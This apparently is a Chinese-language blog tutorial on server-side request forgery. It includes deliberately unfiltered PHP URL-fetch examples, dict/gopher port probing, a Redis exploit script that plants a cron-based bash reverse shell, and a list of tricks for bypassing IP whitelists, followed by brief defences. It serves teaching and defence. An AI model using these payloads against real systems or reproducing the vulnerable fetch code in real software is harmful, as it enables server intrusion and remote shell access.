SSRF

服务器端请求伪造

Server-Side Request Forgery:服务器端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回数据1

有两个协议可以用到:dict gopher ,还可以使用 file 协议等,可用于外网进内网、探测内网端口(bp 爆破)、 反弹 shell(URL 编码)等。

来源于知乎1,顺便尝试下 graphviz 画图:

ssrf_img1.png

存在 SSRF 隐患的 PHP 函数

  • file_get_contents() 如下代码,将从 URL 参数获取 URL 的值,并将其保存为文件后并展示2

    <?php
      $url = $_GET['url'];
      echo file_get_contents($url);
    ?>
    
  • fsockopen() 使用 socket 建立 TCP 连接并传输数据2

    <?php
    function GetFile($host,$port,$link) {
        $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
        if (!$fp) {
            echo "$errstr (error number $errno) \n";
        } else {
            $out = "GET $link HTTP/1.1\r\n";
            $out .= "Host: $host\r\n";
            $out .= "Connection: Close\r\n\r\n";
            $out .= "\r\n";
            fwrite($fp, $out);
            $contents='';
            while (!feof($fp)) {
                $contents.= fgets($fp, 1024);
            }
            fclose($fp);
            return $contents;
        }
    }
    ?>
    
  • curl_exec() 使用 libcurl 获取数据2

    <?php
    if (isset($_POST['url'])){
        $link = $_POST['url'];
        $curlobj = curl_init();// 创建新的 cURL 资源,v7.43 存在 %00 截断
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
        $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器,默认不跟随跳转
        curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
    
        $filename = './curled/'.rand().'.txt';
        file_put_contents($filename, $result);
        echo $result;
    }
    ?>
    
  • fopen()
  • readfile()

攻击 Redis 2

<?php
# ssrf.php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); //关闭 cURL 资源,并且释放系统资源
?>
<html>
<head>
    <title>post.php</title>
</head>
<body>
    <?php
    echo $_REQUEST[cmd];
    ?>
</body>
</html>

dict 探测端口:

curl -v -H 'host:one.php.local' 'http://127.0.0.1:8080/ssrf.php?url=dict://127.0.0.1:22'

SSH-2.0-OpenSSH_for_Windows_8.1 Invalid SSH identification string.

exp(linux):

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/3000 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 127.0.0.1 6379

转换规则: 如果第一个字符是 > 或者 < 那么丢弃该行字符串,表示请求和返回的时间。 如果前 3 个字符是 +OK 那么丢弃该行字符串,表示返回的字符串。 将 \r 字符串替换成 %0d%0a 空白行替换为 %0a

再利用 gopher 协议 payload3 反弹 shell:

curl -v 'http://127.0.0.1:8080/ssrf.php?url=gopher://127.0.0.1:6379/_*...' -H 'host: one.php.local'

SSRF 漏洞

Weblogic CVE-2014-4210 4

Discuz 3.4X SSRF

绕过 URL 白名单或禁内网 IP 地址

  • @
  • IP 地址转换为其他进制
  • DNS 解析 / short url
  • [::] -> localhost
  • 127.0.0.1:80
  • 127。0。0。1
  • Unicode

由此增强防御:限制协议、对 DNS 响应结果或实际的建链 IP 进行判断(绕过:DNS Rebinding)。 python 防御实现:Avoid SSRF

Footnotes:

湘ICP备19014083号-1